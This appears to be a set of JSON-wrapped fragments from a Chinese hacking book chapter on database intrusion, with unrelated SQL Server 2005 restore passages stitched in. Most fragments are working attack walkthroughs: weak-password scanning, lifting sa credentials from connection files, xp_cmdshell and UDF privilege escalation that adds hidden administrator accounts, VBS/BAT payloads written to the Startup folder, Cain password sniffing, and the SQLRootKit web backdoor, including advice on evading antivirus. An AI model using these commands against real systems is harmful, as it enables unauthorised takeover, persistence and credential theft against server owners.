    {"text": "未知 3.6 通过网页文件获取数据库账号和口令 动态网页的显著特点之一就是与数据库的交互，只要涉及大型数据库，动态网页调用其数据库时一般都需要数据库账号和密码。这些大型数据库主要以SQL Server和Oracle为代表。Access数据库一般不设置密码，即使设置了密码，也可以使用Access密码查看器获取其密码。网站或者信息系统在调用数据库时需要进行连接，考虑到执行效率和编码效率等原因，一般都将数据库连接等单独写成一个模块，这些文件主要用来连接数据库。在这些文件中会包含数据库服务器的IP地址、数据库类型、数据库用户账号和密码等信息。 控制或者获取一个Shell后，通过查看index.asp、index.php及index.jsp等文件，从中获取数据库连接文件。数据库连接文件的名称比较容易识别，如conn.asp、dbconn.asp等，这些文件可能出现在网站根目录、inc文件夹、includes文件等处。通过查看这些网页文件，可以获取数据库IP地址、数据库用户账号及口令，利用获取的信息可以进行计算机渗透、提权甚至实施完全控制。 3.6.1 确认网站脚本类型 主要通过打开网站并访问其网站中的网页来确认网站脚本类型。在本例中，打开IE浏览器，在其地址栏中输入IP地址“61.*.*.*”，打开网站，如图3-56所示。在浏览器状态栏中可以看到详细的地址和文件显示，本例为“http://*.*.*.*/shi.asp”，说明该网站的脚本类型为ASP。 图3-56 获取网站脚本类型 技巧 （1）可以直接通过在浏览器地址栏输入“http://*.*.*.*/index.asp”、“http:// *.*.*.*/index.php”、“http://*.*.*.*/index.jsp”等判断网站的类型，规则是“IP地址+文件名”，文件名可以是index.asp（jsp/php/aspx），也可以是default.asp（jsp/php/aspx）等。 （2）如果打开网页后还是无法确定该网站的类型，则可以通过单击网站中的链接地址来确定。如果打开的网页后缀为 .asp，则网站脚本类型为ASP，其他脚本类型判断原理相同。 （3）打开“Internet信息服务（IIS）管理器”窗口，单击“网站属性”中的“文档”选项，可以获取该网站的默认文档名称。 3.6.2 获取网站目录位置 利用漏洞攻击的方法获取该系统的用户账号和口令后，可以通过Radmin远程控制软件直接进行完全控制。进入系统后，在桌面发现了“Internet信息服务”快捷键，双击该快捷键打开“Internet信息服务（IIS）管理器”窗口，依次展开目录至网站，选中“web”网站文件夹，单击右键，在弹出的快捷菜单中选择“属性”选项，打开Web属性窗口，如图3-57所示。然后，切换到“主目录”标签页获取其网站根目录“D:\\*”。 图3-57 获取网站根目录位置 说明 在本案例中，操作系统为Windows 2003 Server，因此其Web目录与Windows 2000 Server不同，但操作大致相同。打开IIS管理器后，查找网站目录并展开即可获知网站的具体位置。 3.6.3 查看网页脚本并获取数据库连接文件 在3.6.2节我们获取了网站文件的物理路径。通过资源管理器访问网站根目录，然后使用“记事本”程序打开首页文件index.asp，如图3-58所示，从中可以获取网站数据库连接文件，这个文件极有可能是 i_include/database_.asp。 图3-58 查看网站首页文件 3.6.4 获取数据库用户账号和密码等信息 在网站根目录中打开i_include文件夹，在其中找到database_.asp文件。使用“记事本”程序打开该文件，其脚本如图3-59所示。通过该脚本内容可知，数据库类型为SQL Server，数据库服务器地址为本地（Local），用户为“sa”，密码为“111”，数据库为“j***”。通过该文件中的“conn.DefaultDatabase=\"job_demo21_data_new\"”语句还可以知道，该系统极有可能来自网上。 图3-59 获取数据库的用户及密码等信息 3.6.5 实施控制 在本案例中，如果数据库不是本地数据库，则可以通过注册SQL Server或者直接使用SQLTools连接，进行添加用户和密码、执行命令等操作。 3.6.6 防范措施 一种防范措施是通过VB等编程语言将数据库连接模块写成dll，使用时在系统中注册即可。不过，对托管在虚拟主机上的个人网站来说，注册dll比较麻烦。 另一种防范措施是使用微软自带的SCRENC软件进行加密。 3.6.7 小结 本案例利用漏洞攻击获取了系统的用户和密码，通过系统中的原有远程控制软件，轻松得到了数据库账号和密码等信息。"},
    {"text": "在网络入侵过程中，对数据库的攻击也是典型的攻击手段之一，加之目前市面上很多安全检测和入侵软件均具有数据库口令扫描功能，所以一旦获取数据库中sa用户的口令，入侵者就可以执行添加用户等危险命令，数据库很容易被入侵者完全控制。 常见的数据库攻击主要有以下几种。 （1）通过互联网直接连接进行攻击 数据库要想正常使用，必须开放1433（1434）或者指定端口。"},
    {"text": "（2）安全漏洞扫描 安全漏洞扫描通常是指针对操作系统、网络应用程序或者数据库系统本身的弱点进行扫描。 攻击者在安全扫描过程中可以很轻松地发现没有使用SQL安全补丁、互联网信息服务（IIS）设置弱点及SNMP（简单网络管理协议）等漏洞并实施攻击，从而攻破数据库。 入侵者在攻击过程中可能使用公开的工具，也可能使用专用工具，还可能利用一些大型公司提供的安全扫描程序，如Qualys的普通扫描工具QualysGuard、SPI Dynamics的网络应用程序扫描工具WebInspect等。"},
    {"text": "Application安全公司的AppDetective和NGS软件公司的NGSSQLCrack等商业性工具软件都有破解sa口令的功能，还有一些扫描工具软件也可以很好地破解sa口令。"},
    {"text": "（5）直接利用安全漏洞攻击 可以利用Metasploit等工具软件直接实施攻击。 Metasploit利用在正常的安全漏洞扫描过程中发现的安全漏洞实施攻击，这种攻击手段非常有效，攻击者还可利用这种手段突破系统、进行代码注入或者取得未经授权的命令行访问权限。 （6）SQL注入攻击 SQL注入攻击是目前网络上最为流行的一种攻击方式，主要通过构建SQL语言脚本实施攻击。 目前网上有很多流行的SQL注入攻击工具，如“教主”的HDSI 3.0、“明小子”的Domain 3.5等。"},
    {"text": "（7）Google hacks Google hacks利用Google搜索引擎不同寻常的力量搜索出可公开访问的系统泄露的SQL服务器错误，如“Incorrect syntax near”，黑客能够使用Google找到口令、网络服务器中的安全漏洞、基本的操作系统、公开提供的程序及其他能够用来攻破SQL服务器系统的东西。"},
    {"text": "（8）熟读网站源代码，寻找0day漏洞 目前，很多网站的BBS、Blog、文章系统、内容管理系统都是使用公开发行的版本，通过阅读这些公开程序的源代码，研究和分析系统代码中存在的问题（这些问题极有可能是0day漏洞），找到问题以后就可以利用并实施攻击和控制。"},
    {"text": "3.7.1 设置Hscan 运行Hscan，分别设置一个扫描IP段的起始地址和结束地址，然后在扫描模块中只选中“check MSSQL weak accounts”选项，如图3-60所示。"},
    {"text": "图3-61 Hscan扫描结果 说明 （1）Hscan.log文件在每次扫描时对内容完全进行覆盖，不保留以前的扫描记录，因此，每次扫描结束后，必须更改文件名或者另存为其他文件。"},
    {"text": "3.7.3 连接数据库 选中类型为“MSSQL”的记录，在扫描结果区域单击左键，选择“connect”命令直接连接数据库，连接成功以后如图3-62所示。 图3-62 连接MSSQL数据库 注意 在选择记录时一定要小心，右键是清除记录命令（Clean），左键是连接命令（Connect），清除扫描结果以后不能恢复。"},
    {"text": "3.7.4 执行命令 在SQLCMD提示符下分别输入命令“net user”、“net user aspnet aspnet****”、“net localgroup administrators aspnet /add”，查看并添加“aspnet”用户，口令为“aspnet****”，提升“aspnet”用户的权限到Administrators组中，如图3-63所示。"},
    {"text": "图3-63 执行命令 说明 （1）由于这种弱口令的MSSQL服务器极有可能有多个入侵者进行了扫描，入侵者在入侵成功后会将一些存储过程删除，导致SQLCMD能够连接却不能执行命令。"},
    {"text": "这个时候，可以通过SQL查询分析器连接该数据库，连接成功后即可查看数据服务器中的数据库，将数据库中表的内容（如user表等）配合Web实施控制。"},
    {"text": "图3-64 查看所有管理员用户 3.7.5 执行其他控制命令 在DOS命令提示符界面输入“psexec \\\\218.*.*.212 cmd -u aspnet -paspnet2005”，找出一个DOSShell，可以在该Shell中上传木马程序、开启3389远程终端服务等。"},
    {"text": "目前使用MySQL数据库的服务器一般与Web服务器结合得比较紧密，通过查看MySQL数据库中有关用户及密码信息的表，特别是含有管理员信息的表，结合WebShell等，就可以实施控制。"},
    {"text": "3.8.1 设置Hscan 图3-65 设置MySQL扫描参数 设置扫描的起始IP地址和结束IP地址，在扫描模块中选择“check MySQL weak account”选项，如图3-65所示。 设置完毕，在“menu”菜单中选择“start”选项，开始扫描MySQL弱口令。"},
    {"text": "连接成功后会出现MySQL的提示符，在其中输入“show databases;”命令查看数据库服务器中的数据库，如图3-67所示。 图3-67 连接并查看MySQL数据库服务器中的数据库 说明 （1）MySQL数据库开放的端口是3306，如果不使用HScan软件直接进行连接，可以使用MySQL数据库连接命令进行连接。"},
    {"text": "“show databases;”命令用于查看数据库服务器中的数据库，“show tables;”命令用于查看当前数据库中的表，“use databasename;”命令表示数据库名称为“databasename”的数据库为当前数据库。"},
    {"text": "3.8.4 创建表并将VBS脚本插入表 依次运行以下命令，完成后如图3-68所示。 show databases; use test; show tables; create table a (cmd text); insert into a values (\"set wshshell=createobject (\"\"wscript.shell\"\" ) \" ); insert into a values (\"a=wshshell.run (\"\"cmd.exe /c net user aspnet aspnettest/add\"\",0)\"); insert into a values (\"b=wshshell.run (\"\"cmd.exe /c net localgroup Administrators aspnet /add\"\",0) \" ); select * from a; 图3-68 创建表并将VBS脚本插入表 3.8.5 将VBS脚本导出到启动选项中 使用以下命令将刚才在a表中创建的VBS脚本导出到启动选项中。"},
    {"text": "select * from a into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\「开 始」菜单\\\\程序\\\\启动\\\\a.vbs\"; 导入成功后，系统重新启动时会自动添加密码为“1”且用户名为“1”的用户到管理员组中。"},
    {"text": "show databases ; use test; show tables; create table b (cmd text); insert into b values (\"net user Aspnet 123545345!* /add\"); insert into b values (\"net localgroup administrators Aspnet /add\"); insert into b values (\"del b.bat\"); select * from b into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\「开 始」菜单\\\\程序\\\\启动\\\\b.bat\"; 该脚本执行后会闪现DOS窗口，如果有权限导入启动选项中，则一定会执行成功。 在虚拟机中通过MySQL连接器连接并执行以上命令后，在“C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动”目录中会有刚才导出的b.bat脚本文件，如图3-70所示。 图3-70 导出bat脚本到启动选项 说明 在不同的操作系统中，“C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动”目录文件名称可能会不同，这个时候将其换成相应的目录名称即可。"},
    {"text": "select * from b into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\b.bat\"; 3.8.6 等待重启和实施控制 如果该计算机开放了3389端口，可以直接进行连接；"},
    {"text": "通过“show databases;”、“show tablesname;”、“select * from tablesname;”等命令可以获取表中的具体内容，而通过查看其中的内容可以进行Web服务器域名信息及一些网站管理员的密码和用户名称的定位。"},
    {"text": "图3-72 获取额外信息 3.8.7 小结 本例通过HScan扫描MySQL口令，扫描出口令以后，借助HScan的MySQL连接功能直接连接MySQL，通过创建表将VBS脚本插入表中，然后再导出到系统的启动目录下，系统重新启动以后，会自动添加用户，进而通过远程终端3389连接该MySQL服务器所在的计算机，成功实施控制。"},
    {"text": "未知 3.9 巧用Cain监听网络获取数据库口令 Cain是一款强大的网络嗅探工具，在网络渗透方面具有优势，尤其是Sniffer。Cain主要用于Windows平台的嗅探。Cain在嗅探FTP、POP3、网站登录密码、Telnet及数据库密码等方面有很大的优势。早期版本的Cain还能嗅探远程终端的密码，通过分析RDP协议数据直接获取远程终端的密码，后来由于远程终端采取了一些安全措施，所以使用Cain嗅探获取的RDP包数据就是加密的了。由于Cain的强大嗅探功能，目前很多杀毒软件都将其列为危险软件，并对其进行查杀。因此，在直接安装或者采用简略版安装Cain时，要注意系统使用的杀毒软件，在必要时可以先关闭杀毒软件，在完成嗅探后重新开启杀毒软件。 本节介绍Cain在网络监听方面的应用，以及如何制作非安装版的Cain。 3.9.1 安装和配置Cain 图3-73 配置Cain Cain的安装比较简单，按照提示完成即可。安装Cain后，需要安装WinpCap抓包软件，Cain才能正常使用。 运行Cain软件，选择网卡进行配置。Cain运行后会自动将计算机中的网卡IP地址、子网掩码等显示出来。在“Sniffer”选项卡中选中“Options”设置区的所有选项，如图3-73所示，其他保留默认设置即可。配置完毕，在Cain主界面的左下角中单击圆形图标，开始监听。 3.9.2 查看Sniffer结果 在Cain主界面依次选择“sniffer”→“password”选项，然后在右边的“Passwords”列表中选择括号中数字大于0的选项。括号中的数字表示Cain监听到的有关密码数据的条数。选中某个条目，在右边区域会显示监听的详细结果。 选择“SMB（2）”，如图3-74所示，可以看到相应记录的“Timestamp”（时间戳）、“SMB Server”、“Client”、“Username”、“Domain”、“Password”、“AuthType”等信息。由于其监听的密码为空，所以计算机的IP地址为192.168.1.60，Administrator用户的“Password”栏中没有数据。 图3-74 SMB监听结果 3.9.3 直接获取系统中有关保护存储的账号和密码 在Cain中选择“Protected Storage”选项卡，可以看到保存在系统中的有关网站的用户名和密码，如图3-75所示，获取这些信息后可以直接登录网站并进行相应的操作。 图3-75 获取存储在系统中的密码 3.9.4 查看数据库密码 在本案例中，由于存在SQL Server数据库，因此当客户端连接SQL Server数据库服务器时，其用户名和密码均可以通过Cain截获。如图3-76所示，SQL Server客户端的地址为192.168.1.61，使用数据库账号“sa”、密码“JJF***2000”连接IP地址为192.168.1.60的SQL Server数据库服务器。 图3-76 查看截获的SQL Server数据库账号和密码 3.9.5 小结 本案例通过安装和配置Cain对内网进行监听和嗅探，在嗅探过程中获取了SMB密码和SQL Server数据库的账号和密码。可以使用Psexec.exe和SQLTools等工具对获取了账号和密码的计算机实施控制。"},
    {"text": "未知 3.10 MySQL数据库提权 MySQL数据库是目前使用最多的数据库之一，其流行的架构为PHP+MySQL+ Apache，支持Linux和Windows操作系统。在Web渗透过程中，通过WebShell有可能获得MySQL的安装目录，通过下载MySQL数据库的user.myd表，能够方便地破解root用户的密码。root用户的密码还可能从网页脚本文件中获得。以root用户的身份可以直接登录数据库。在获得root用户的密码后，通过导出udf.dll函数，在条件合适的情况下，可以获得服务器权限。 下面以一个实例来介绍如何通过MySQL的root用户进行提权。 3.10.1 设置MySQL提权脚本文件 将MySQL提权脚本文件上传到服务器，运行后需要对IP地址、UID、密码、数据库进行配置。如图3-77所示，IP地址一般可以设置为localhost、127.0.0.1及真实的IP地址，UID默认为root，其他具有root用户权限的用户名称也可以使用，密码为具有root权限的用户的密码，数据库默认选择MySQL数据库，单击“提交查询内容”按钮进行连接测试。 图3-77 设置MySQL提权脚本文件 3.10.2 进行连接测试 连接成功后，会给出相应的提示，如图3-78所示，包括用户、数据库、数据目录（datadir）、基本目录（basedir）、版本、插件路径、MySQL函数等信息。 图3-78 连接测试 3.10.3 创建shell函数 单击“Dump UDF”按钮将UDF.DLL文件导出到默认的插件目录下，单击“Create Function”按钮创建shell函数。如图3-79所示，如果前面已经创建了shell函数，会提示该函数已经存在。 图3-79 创建shell函数 3.10.4 查看用户 在查询文本框中输入“select shell('cmd','net user')”，查看系统中所有的用户。如图3-80所示，可以正常查看系统中的所有用户信息。 图3-80 查看用户 3.10.5 创建具有管理员权限的用户 分别在查询文本框中输入脚本“select shell('cmd','net user temp temp123456')”、“select shell('cmd', 'net localgroup administrators temp /add ')”并执行该查询命令，如果执行成功，则表示在系统中添加用户“temp”，密码为“temp123456”，同时将该用户添加到管理员组中，使其具备管理员权限，执行成功后如图3-81和图3-82所示。 图3-81 添加temp用户 图3-82 将temp用户添加到管理员组 3.10.6 提权成功 图3-83 查看管理员用户 在SQL查询文本框中输入“select shell('cmd','net localgroup administrators')”命令查看刚才添加的用户是否添加成功，如图3-83所示，查询结果表明已经将temp用户添加到管理员组中。 目前很多网站都会提供远程终端服务，只要用户添加成功，就可以直接登录该服务器。如图3-84所示，输入用户名和密码，成功进入该服务器，至此，就通过MySQL的root用户成功提权。 图3-84 成功进入服务器 3.10.7 小结 通过本例中的方法可以快速将WebShell权限提升到服务器权限。当然，还有其他方法可以通过MySQL提权。下面对经常用到的一些有关MySQL的提权命令和方法进行总结。 1.UDF提权的常用命令 UDF提权的常用命令如下。 create function cmdshell returns string soname 'udf.dll' select cmdshell('net user antian365 123!@#abcABC /add'); select cmdshell('net localgroup administrators antian365 /add'); select cmdshell('net localgroup administrators '); select cmdshell('ipconfig /all'); select cmdshell('net user'); select cmdshell('regedit /s d:\\wwwroot\\3389.reg'); drop function cmdshell; select cmdshell('netstat -an'); 2.VBS启动项提权 先通过WebShell连接数据库，通过建立表a将VBS脚本写入表中，然后导入启动项。该脚本仅对中文版本有效，如果使用其他语言版本的操作系统，仅需对“C:\\\\ Documents and Settings\\\\All Users\\\\「开始」菜单\\\\程序\\\\启动\\\\a.vbs”这个脚本进行相应更改。在VBS脚本后面有一个“0”，表示不弹出CMD窗口，以静默模式运行。该方法是在通过UDF提权失败的情况下，将VBS插入启动项中，待系统重启后将自动添加一个用户，示例如下。 create table a (cmd text); insert into a values (\"set wshshell=createobject (\"\"wscript.shell\"\") \" ); insert into a values (\"a=wshshell.run (\"\"cmd.exe /c net user antian 123!@#$% /add\"\",0) \" ); insert into a values (\"b=wshshell.run (\"\"cmd.exe /c net localgroup administrators antian /add\"\",0) \" ); select * from a into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\「开 始」菜单\\\\程序\\\\启动\\\\a.vbs\"; 3.Linux下的MySQL提权 Linux下的MySQL提权命令如下。 mysql -h localhost -uroot -p system useradd hacker system passwd hacker system tail -l /etc/passwd system tail -l /etc/shadow"},
    {"text": "尤其是在网络高度发达的今天，只要企业的数据库出现问题，网上马上就会出现一些“爆料”——不管是玩笑还是恶意，总之，数据库的安全不容小视。"},
    {"text": "虽然维护数据库的安全是DBA或者安全管理人员的职责，但普通技术人员也应该了解相关内容，毕竟多掌握一门技能，就多一份成功的希望和保证。"},
    {"text": "（1）Notification Services增强功能 Notification Services是一种新平台，是用于生成、发送并接收通知的高伸缩性应用程序，可以把即时的、个性化的消息发送给使用各种各样设备上的数以千计乃至百万计的订阅方。"},
    {"text": "（4）数据库引擎增强功能 数据库引擎引入了新的可编程性增强功能（例如，与Microsoft .NET Framework的集成，以及Transact-SQL的增强功能）、新的XML功能和新的数据类型，还包括对数据库的可伸缩性和可用性的改进。 （5）数据访问接口方面的增强功能 SQL Server 2005提供了Microsoft数据访问（MDAC）和.NET Frameworks SQL客户端程序方面的改进，为数据库应用程序开发人员提供了更好的易用性、更强的控制和更高的工作效率。"},
    {"text": "操作方式不同：SQL Server 2005是通过SQL Server Management Studio管理数据库的，因此可以依次单击“开始”→“程序”→“Microsoft SQL Server 2005”→“SQL Server Management Studio”选项打开数据库管理综合控制台。"},
    {"text": "提供的服务增多：通过服务管理器可以看到，SQL Server 2005增加了很多服务，如SQL Server Directory Helper、SQL Server Browser、SQL Server Vss Writer和SQL Server Integration Services，如图3-85所示。 图3-85 SQL Server 2005增加的一些服务 管理控制台操作界面改动较大：SQL Server 2005将数据查询整合到一起，以前通过查询分析器进行的操作，现在直接整合在数据库管理中了，比以前方便、快捷。 其他改进：SQL Server 2005在功能上改进较多，需要用户自己体会。"},
    {"text": "下面就介绍如何还原一个备份的SQL Server 2005数据库。 3.11.2 还原和备份SQL Server 2005数据库 备份数据库的理由很多，有的是为了防止出现意外，有的是开发需要，有的是入侵后将数据库还原打包，所有的备份的目的都是为了在需要的时候还原。 恢复SQL Server 2005数据库的前提是在本机搭建了SQL Server 2005数据库平台，即安装了能够使用的SQL Server 2005数据库，且已经将备份文件放置在本地计算机中。"},
    {"text": "01 连接数据库引擎 第一次打开SQL Server Management Studio时，会自动弹出“连接到服务器”对话框，如图3-86所示，保持“服务器类型”、“服务器名称”及“身份验证”下拉列表的默认设置即可。 图3-86 连接服务器 如果已经打开SQL Server Management Studio，则可以依次单击菜单栏上的“文件”→“连接对象资源管理器”选项，打开“连接到服务器”对话框，然后单击“连接”按钮。 连接成功后，将打开“SQL Server Management Studio ”控制台窗口，如图3-87所示。 图3-87 SQL Server Management Studio 控制台 02 还原数据库操作 在SQL Server Management Studio控制台窗口选中数据库或者系统数据库，然后单击右键，在弹出的快捷菜单中选择“还原数据库”选项，打开“还原数据库”窗口，如图3-88所示。"},
    {"text": "如果是数据库在线还原，就选择“源数据库”选项； 如果是从物理文件还原，则选择“源设备”选项。 图3-88 还原数据库设定 03 添加备份文件的位置 单击选中“源设备”单选按钮，然后单击文本框右边的“...”按钮，在弹出的“指定备份”对话框中添加备份的位置，如图3-89所示。 图3-89 指定备份位置 04 定位备份文件 在“指定备份”对话框中单击“添加”按钮，会弹出“定位备份文件”对话框。"},
    {"text": "默认情况下，SQL Server 2005会直接定位到其安装目录下的“MSSQL.1/MSSQL/Backup”目录，如图3-90所示，默认显示“*.bak”和“*.trn”两种备份文件。"},
    {"text": "图3-90 定位备份文件 图3-91 选择要还原的备份数据库文件 技巧 可以将所有备份文件都复制到“C:\\Program Files\\Microsoft SQL Server\\MSSQL.1\\ MSSQL\\Backup”目录下，这样选择起来比较方便。 单击“确定”按钮完成文件的选择，回到“指定备份”对话框，如图3-92所示，单击“确定”按钮完成备份文件的选择。 图3-92 完成备份文件的选择 05 完成“还原的目标”和“还原的源”的设定 如图3-93所示，在“还原数据库”窗口的列表中选择需要还原的文件，在“还原的目标”设置区输入“uniport”，表示还原后的数据库名称是“uniport”。 单击“确定”按钮还原数据库，如图3-94所示。 图3-93 完成“还原的目标”和“还原的源”的设定 图3-94 还原数据库 06 对还原错误的处理 进行还原数据库操作时，我们可能会遇到即使按照上面的步骤也无法还原数据库的情况。"},
    {"text": "按照“E:\\Program Files\\Microsoft SQL Server\\MSSQL\\Data”路径，分别在E盘根目录下建立“Program Files”文件夹，然后在“Program Files”文件夹下建立“Microsoft SQL Server”文件夹，在“Microsoft SQL Server”文件夹下建立“MSSQL”文件夹，在“MSSQL”文件夹下建立“Data”文件夹，如图3-96所示，然后按照前面的步骤重新选择，即可完成数据库的还原。 在SQL Server 2005中，如果还原时出现如图3-95所示的错误，只要直接建立相应的文件夹便可解决，这对于体积较大的数据库（超过1GB）还原来说无疑是福音。 图3-96 建立相应的文件夹 笔者曾经探讨过如何在SQL Server 2000中恢复一些较难恢复的数据库，即只有一个备份的数据库，没有任何其他信息。"},
    {"text": "采用几种方法，包括从互联网上寻找他人的数据库还原故障解决方案，逐个进行测试，均未解决。 笔者根据错误提示，大胆设想，终于成功恢复了数据，下面就将整个过程与读者分享。 1.常规数据库恢复方法 01 在SQL Server 2008企业管理器中新建名为“ChinaData”的数据库。 02 选择备份文件ChinaData.bak并进行恢复。 恢复过程中出现错误提示框，如图3-97所示，没有错误号码，表示数据库恢复失败。 对该数据库再次进行还原，并选择“强制还原”选项（即覆盖现有数据库），结果还是显示错误。 图3-97 数据库恢复错误提示 2.通过查询语句进行数据库恢复 通过百度搜索，获取3154错误的解决方法，其恢复过程会提示“备份集中的数据库备份与现有的数据库不同”，如图3-98所示。"},
    {"text": "use master restore database CSS_CMS from disk = 'F:\\xx路径\\file'--备份的数据库文件路径名 with replace, MOVE N'XXX_Data' TO N'F:\\要保存的路径\\Data\\XXX.mdf', MOVE N'XXX_log' TO N'F:\\要保存的路径\\Data\\XXX.ldf' 一般情况下，通过以上方法就可以恢复，但在本例中，经过测试，该方法行不通。"},
    {"text": "（2）还原路径不存在 对这种错误，需要手动修改路径，只要路径确实存在，就可以解决。 （3）还原路径文件有重名 这种错误出现的原因是还原的文件恰好在默认位置有同名文件，无法覆盖。"},
    {"text": "笔者对以上3个可能出现的问题进行了测试和修正，还是没有解决问题，于是只好查看SQL Server 2008的日志文件，如图3-99 所示，但仍然没有找到解决的办法。 图3-99 查看日志文件 再次对数据库进行还原，发现原始文件名在“将数据库文件还原为”列表中全部为同一个名称，怀疑是文件名称不一致，如图3-100所示。"},
    {"text": "图3-100 原始文件名与还原名称一致性问题 依次按照原始文件名，在还原中将chinadata. mdf和chinadata.ndf进行对应。 例如，原始文件名为“ChinaData_9”，则应在还原中修改为“chinadata_9.mdf”和“chinadata_9.ndf”进行对应。"},
    {"text": "未知 3.12 SQLRootKit网页数据库后门控制 通过本节，读者可以了解网页数据库后门SQLRootKit的相关知识，以及如何使用SQLRootKit 1.0、SQLRootKit 3.0数据库后门来控制计算机。 SQLRootKit是一种网页脚本，用于执行数据库命令，使用前提是知道数据库的账号和密码。SQLRootKit目前有两种：一种是针对PHP语言的，其针对的数据库为MySQL；另外一种是针对ASP语言的，主要针对的数据库为SQL Server，ASP版本的SQLRootKit有两个版本，即1.0版和改进后的3.0版。 3.12.1 使用SQLRootKit 1.0网页后门控制计算机 在获取网站的数据库的类型、数据库用户密码和用户名后，直接将SQLRootKit.asp文件上传到网站目录中，然后在浏览器地址栏中输入地址并打开网站。打开网站后，在分别在“SQL用户名”和“SQL密码”文本框中输入获取的SQL用户名“sa”和密码“***”，然后在“执行命令”按钮前的文本框中输入需要执行的命令，如“net user”，查看系统中的所有用户。输入完毕，单击“执行命令”按钮，会在该网页中显示执行结果，如图3-101所示。 说明 （1）目前很多杀毒软件都会对SQLRootKit 1.0网页木马进行查杀，因此在使用前最好用一些网页加密软件对其进行加密。 （2）SQLRootKit 1.0只能利用本地的SQL Server数据库来执行命令，如果数据库服务器和Web服务器不在同一台计算机上，SQLRootKit 1.0就无能为力了。 （3）经过加密的SQLRootKit 1.0网页木马，其WebShell相当于一个DOSShell。如果未在数据库服务器中删除一些比较危险的dll组件，则该后门可以长期存在。 图3-101 在SQLRootKit 1.0中执行命令 3.12.2 使用SQLRootKit 3.0网页后门控制计算机 使用SQLRootKit 3.0网页后门控制计算机的步骤如下。 01 运行测试 运行SQLRootKit 3.0网页后门程序，将SQLRootKit 3.0网页后门直接上传到网站目录，然后在浏览器中输入其对应地址即可，运行界面如图3-102所示。 图3-102 运行SQLRootKit 3.0网页后门 说明 （1）在SQLRootKit 3.0网页后门中，需要输入“SQL用户名”、“SQL密码”、“SQL服务器”及“SQL端口”等信息，程序默认SQL Server服务器与Web服务器在同一台计算机上。 （2）输入“SQL用户名”、“SQL密码”、“SQL服务器”及“SQL端口”信息，通过验证才能进行后续操作。 02 登录SQLRootKit 3.0网页后门 输入“SQL用户名”和相应的“SQL密码”密码后，单击“Login”按钮，验证正确后进入SQLRootKit 3.0网页后门管理界面，如图3-103所示。 图3-103 进入SQLRootKit 3.0网页后门管理界面 03 检测组件 单击“检测组件”按钮，程序会自动检测服务器上是否存在XP_cmdshell、sp_oacreate、xp_regwrite及xp_servicecontrol这4个SQL组件，检测操作系统版本及执行权限等信息，并将这些信息显示在该页面上，如图3-104所示。 说明 如果检测出来的组件被系统管理员删除了，则可以单击“恢复组件”按钮进行恢复。 04 执行命令 在“系统命令”文本框中输入需要执行的命令，并选择运行程序的相应组件。在本例中选择“利用XP_cmdshell扩展”选项，并在“系统命令”文本框中输入“net user”命令，然后单击“执行”按钮，其结果会显示在网页中，如图3-105所示。XP_cmdshell扩展命令在执行过程中可能会显示一些错误信息，我们可以忽略这些信息。 图3-104 检测SQL组件 图3-105 执行命令 05 上传文件 在SQLRootKit 3.0网页后门中提供了文件上传功能，即在内容文本框中粘贴需要上传的文件的内容，在文件路径中输入需要保存的文件的物理路径。输入完毕，单击“保存”按钮即完成上传。 3.12.3 防范措施 对于SQLRootKit 3.0网页后门来讲，其主要防范措施如下。 勤杀毒。目前很多杀毒软件都能自动识别并查杀网页后门程序，因此，要及时升级杀毒软件病毒库并开启杀毒软件的所有监管选项。 首次完成网站建设后，要保存网站所有文件的列表。例如，可以在DOS下输入“dir d:\\网站目录\\*.* >mywebsite20071218.txt”命令，将网站的所有文件信息生成列表文件mywebsite20071218.txt。每次升级后都要重新次生成文件列表，每次维护时只要查看文件大小的变化即可。 使用一些网站监控软件进行实时监控。目前，国外和国内都有一些网站文件监控软件，一旦发现网站文件被改动，这些监控软件就会通过发送邮件或者手机短信等方式及时报警，方便管理员进行处理。 3.12.4 小结 本案例介绍了如何利用SQLRootKit 1.0及SQLRootKit 3.0网页后门来控制计算机。在很多情况下，一般的网页后门程序或者网页木马无法在服务器上执行命令。如果服务器上存在SQL Server服务器，入侵者在获取数据库用户和账号的情况下可以使用本案例介绍的方法来提权或者留下后门，以便守控肉机。"},
    {"text": "未知 3.13 SQL Server 2005提权 SQL Server 2005及SQL Server 2008都将“xp_cmdshell”等危险存储过程删除了，但这并不影响提权。只要获取了sa口令，重新添加存储过程，即可像MSSQL 2000 Server一样提权。SQL Server 2005提权的思路很简单，需要获取数据库的用户名和密码，然后通过恢复存储过程执行命令，下面是详细的提权过程。 3.13.1 查看数据库连接文件 通过WebShell查看网站的源代码，如图3-106所示，通过分析首页文件default.asp，获知数据库连接文件为openconnection.asp。 技巧 数据库连接文件的名称一般为conn.asp、openconnectiong.asp、connection.asp，这些文件多位于网站根目录或者“includes”等文件夹下，通过查看首页代码大都能准确找到数据库连接文件。 图3-106 分析首页文件 3.13.2 获取数据库用户和密码 找到数据库连接文件openconnection.asp，将其下载到本地并打开，如图3-107所示，知道数据库用户为“sa”，密码为“Tp*****234 ”，将其复制出来留待后面使用。 图3-107 获取数据库用户和密码 3.13.3 数据库连接设置 在连接SQL Server 2005之前，需要对数据库进行设置，需要知道sa用户的密码和数据库，默认采用master数据库。在“ConnString”输入框中修改相应的设置，主要是在数据库类型中选择相对应的数据库类型，在WebShell中单击“Database”，如图3-108所示，设置完毕后单击“Go”按钮进行数据库连接测试。 图3-108 设置MSSQL连接 3.13.4 查看连接信息 如果数据库用户名、密码及数据库名称均设置正确，连接成功后会显示相应的信息。例如，“MSSQL Version : Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6001: Service Pack 1)及“SrvRoleMember : sa”，表明数据库版本为“icrosoft SQL Server 2005 -9.00.4035.00”，数据库用户角色是“sa”，如图3-109所示。 图3-109 获取数据库基本信息 3.13.5 添加xp_cmdshell存储过程 可以直接在“Run SQL”输入框中输入“Exec sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;”脚本添加xp_cmdshell存储过程，也可以通过WebShell进行。在“SQLExec”下拉列表中选择第3个命令选项“Add xp_cmdshell(SQL2005)”，如图3-110所示。 图3-110 添加xp_cmdshell存储过程 3.13.6 Windows本地提权 01 添加用户 